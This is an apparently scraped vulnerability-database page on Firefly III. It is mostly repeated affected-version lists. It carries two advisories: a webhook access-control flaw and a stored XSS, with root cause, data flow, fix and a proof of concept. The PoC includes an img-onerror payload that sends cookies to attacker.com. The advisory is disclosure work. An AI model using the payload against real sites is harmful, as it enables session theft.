            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9


            v6.6.0


            v6.6.1


            v6.6.2

Fixed in


          6.6.3

References

Updated Sep 10, 2026 · Source: OSV.dev

Dec 16, 2025

v6.4.12 patch

2 CVEs

CVE-2026-50886 GHSA-9mmg-q95p-gp67 Jun 15, 2026

Project Firefly III has incorrect access control in the webhook management component

9.1 / 10

Critical

Network Low None None Unchanged High High None

Incorrect access control in the webhook management component of Project Firefly III v6.5.9 allows attackers to scan internal resources via a crafted POST request.

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 397 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9

References

Updated Aug 27, 2026 · Source: OSV.dev

GHSA-6jq6-x4cx-qvcm Jun 12, 2026

Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)

Medium

Network Low Low

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve  tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Trigger the rule on any transaction
Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

Stored XSS persists in DB — fires for every user who views the transaction
Cookie theft → session hijacking
In multi-user setups: one user attacks another user or admin
Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 400 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9


            v6.6.0


            v6.6.1


            v6.6.2

Fixed in


          6.6.3

References

Updated Sep 10, 2026 · Source: OSV.dev

Dec 16, 2025

v6.4.11 patch

2 CVEs

CVE-2026-50886 GHSA-9mmg-q95p-gp67 Jun 15, 2026

Project Firefly III has incorrect access control in the webhook management component

9.1 / 10

Critical

Network Low None None Unchanged High High None

Incorrect access control in the webhook management component of Project Firefly III v6.5.9 allows attackers to scan internal resources via a crafted POST request.

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 397 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9

References

Updated Aug 27, 2026 · Source: OSV.dev

GHSA-6jq6-x4cx-qvcm Jun 12, 2026

Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)

Medium

Network Low Low

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve  tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Trigger the rule on any transaction
Visit /transactions/show/{id} → payload fires

